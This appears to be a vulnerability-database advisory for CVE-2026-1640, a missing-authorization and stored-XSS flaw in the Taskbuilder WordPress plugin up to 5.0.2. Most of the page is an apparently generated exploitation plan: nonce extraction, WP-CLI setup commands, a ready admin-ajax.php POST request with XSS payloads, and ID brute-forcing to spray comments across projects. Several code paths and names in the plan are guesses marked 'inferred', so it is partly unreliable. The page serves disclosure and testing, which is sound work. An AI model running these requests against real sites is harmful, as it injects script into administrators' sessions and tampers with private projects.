Taskbuilder <= 5.0.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Project/Task Comment Creation
Description
The Taskbuilder – WordPress Project Management & Task Management plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.0.2. This is due to missing authorization checks on the project and task comment submission functions (AJAX actions: wppm_submit_proj_comment and wppm_submit_task_comment). This makes it possible for authenticated attackers, with subscriber-level access and above, to create comments on any project or task (including private projects they cannot view or are not assigned to), and inject arbitrary HTML and CSS via the insufficiently sanitized comment_body parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.0.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1640 - Taskbuilder Missing Authorization ## 1. Vulnerability Summary The **Taskbuilder** plugin for WordPress (versions <= 5.0.2) is vulnerable to an authorization bypass. Two specific AJAX actions, `wppm_submit_proj_comment` and `wppm_submit_task_comment`, fa…
Show full research plan
Exploitation Research Plan: CVE-2026-1640 - Taskbuilder Missing Authorization
1. Vulnerability Summary
The Taskbuilder plugin for WordPress (versions <= 5.0.2) is vulnerable to an authorization bypass. Two specific AJAX actions, wppm_submit_proj_comment and wppm_submit_task_comment, fail to implement proper capability checks or project-level ownership verification. This allows any authenticated user (starting from the Subscriber role) to submit comments on any project or task, including those they are not assigned to or that are marked as private. Additionally, the comment_body parameter is insufficiently sanitized, allowing for the injection of arbitrary HTML and CSS (Stored XSS/HTML Injection).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Actions:
wppm_submit_proj_commentandwppm_submit_task_comment - HTTP Method: POST
- Authentication: Required (Subscriber role or higher).
- Vulnerable Parameters:
comment_body: Carries the HTML/CSS payload.proj_id(for project comments): Target Project ID.task_id(for task comments): Target Task ID.
- Preconditions:
- The attacker must have a valid subscriber-level account.
- The attacker needs to know (or brute-force) the ID of a target project or task.
3. Code Flow (Inferred)
- Registration: The plugin registers the actions via
add_action( 'wp_ajax_wppm_submit_proj_comment', ... )andadd_action( 'wp_ajax_wppm_submit_task_comment', ... ). - Missing Check: Within the handler functions (likely in
includes/admin/class-wppm-ajax.phporincludes/public/class-wppm-public-ajax.php), the code likely checks for a nonce but fails to callcurrent_user_can()or verify if the$current_user_idhas permission to interact with the specificproj_idortask_id. - Data Handling: The
comment_bodyis retrieved from$_POSTand passed to a database insertion function (using$wpdb). - Sanitization Sink: The sanitization likely uses
wp_kseswith a weak configuration or onlysanitize_text_field(which might be bypassed or incorrectly applied to HTML content intended for the editor), allowing HTML tags like<div>,<style>, or<img>with event handlers.
4. Nonce Acquisition Strategy
The Taskbuilder plugin typically localizes a global JavaScript object containing nonces.
- Identify Shortcode: Taskbuilder uses shortcodes like
[wppm_project_list]or[wppm_task_board]to render its interface. - Setup Page: Create a page containing a Taskbuilder shortcode to ensure scripts are loaded.
wp post create --post_type=page --post_title="Task Portal" --post_status=publish --post_content='[wppm_project_list]' - Extraction via Browser:
- Login as a Subscriber.
- Navigate to the "Task Portal" page.
- Use
browser_evalto extract the nonce from the localized script object. Based on common Taskbuilder patterns:- Variable Name (Inferred):
wppm_adminorwppm_public. - Nonce Key (Inferred):
wppm_nonce.
- Variable Name (Inferred):
- Action:
browser_eval("window.wppm_public?.nonce || window.wppm_admin?.nonce").
5. Exploitation Strategy
Step 1: Create Target Data (Admin)
As an administrator, create a project and a task that the subscriber should not be able to access.
- Create a Project (note the ID).
- Create a Task within that project (note the ID).
Step 2: Obtain Subscriber Credentials
- Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.
Step 3: Extract Nonce
- Log into the WordPress dashboard as
attacker. - Navigate to a page where Taskbuilder is active (created in Test Data Setup).
- Extract the nonce using the
browser_evaltool.
Step 4: Submit Unauthorized Comment
Send a POST request to admin-ajax.php targeting a project ID the subscriber doesn't own.
HTTP Request (Example for wppm_submit_proj_comment):
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wppm_submit_proj_comment&proj_id=[TARGET_PROJ_ID]&wppm_nonce=[NONCE]&comment_body=<div style="color:red; font-size:50px;">Hacked</div><img src=x onerror=alert(document.domain)>
6. Test Data Setup
- Plugin Activation: Ensure
taskbuilderversion 5.0.2 is installed and active. - Target Project:
- Create a project via WP-CLI or UI.
wp db query "INSERT INTO wp_wppm_projects (project_name, created_by, project_status) VALUES ('Secret Project', 1, 'active');"(Note: Actual table names should be verified, usuallywp_wppm_projects).
- Subscriber User:
wp user create victim_sub sub@test.com --role=subscriber --user_pass=password
- Shortcode Page:
wp post create --post_type=page --post_status=publish --post_content='[wppm_project_list]'
7. Expected Results
- Response: The server should return a
200 OKstatus, often with a JSON response like{"status":"success"}or the HTML of the rendered comment. - Behavior: Even though the subscriber is not assigned to the "Secret Project," the comment is successfully stored in the database.
- XSS Trigger: When an administrator views the project comments, the injected HTML/JavaScript (
alert) will execute.
8. Verification Steps
- Database Check:
# Check the comments table (e.g., wp_wppm_project_comments) wp db query "SELECT comment_body FROM wp_wppm_project_comments WHERE proj_id = [TARGET_PROJ_ID] ORDER BY id DESC LIMIT 1;" - Verification of Unauthorized Entry: Confirm the
user_idassociated with the new comment matches the Subscriber's ID, despite them having no relationship with the project.
9. Alternative Approaches
- Task Comments: If
wppm_submit_proj_commentis patched or behaves differently, attempt the exploit viawppm_submit_task_commentwith thetask_idparameter. - CSS Injection: Use the
comment_bodyto inject<style>tags that disrupt the admin UI (e.g.,body { display: none !important; }) to demonstrate the lack of sanitization. - Brute Force IDs: Since the vulnerability is missing authorization, if IDs are sequential, the attacker can iterate through
proj_id=1, 2, 3...to spray comments across all projects in the system.
Summary
The Taskbuilder plugin for WordPress (versions <= 5.0.2) is vulnerable to authorization bypass and Stored Cross-Site Scripting (XSS). The AJAX actions for submitting project and task comments fail to verify user permissions, allowing any authenticated user (Subscriber+) to post comments to arbitrary projects or tasks and inject malicious HTML or CSS.
Exploit Outline
1. Authenticate to the WordPress site with Subscriber-level privileges. 2. Navigate to a page containing a Taskbuilder shortcode (like [wppm_project_list]) to extract the security nonce from the localized JavaScript object (e.g., window.wppm_public.nonce). 3. Identify the target proj_id or task_id via enumeration or observation. 4. Send a POST request to /wp-admin/admin-ajax.php with the action parameter set to 'wppm_submit_proj_comment' or 'wppm_submit_task_comment'. 5. Include the valid nonce, the target ID, and a malicious HTML/JavaScript payload in the 'comment_body' parameter (e.g., <script>alert(document.domain)</script>). 6. The payload will be stored and executed in the context of any user, including administrators, who views the project or task comments.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.